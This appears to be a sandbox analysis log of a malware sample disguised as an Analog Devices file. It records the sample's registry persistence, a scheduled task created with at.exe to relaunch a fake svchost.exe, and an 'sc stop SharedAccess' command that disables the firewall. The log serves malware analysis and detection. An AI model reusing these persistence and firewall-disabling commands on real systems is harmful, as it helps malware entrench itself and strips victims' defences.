Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System\svchost.exe

Process created: C:\Windows\SysWOW64\at.exe at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe

Source: C:\Windows\System\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess

Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Explorer	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Explorer	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Explorer	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Explorer	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Svchost	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Svchost	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Svchost	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Svchost	Jump to behavior

Source: C:\Windows\System\svchost.exe

Process created: C:\Windows\SysWOW64\sc.exe sc stop SharedAccess

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
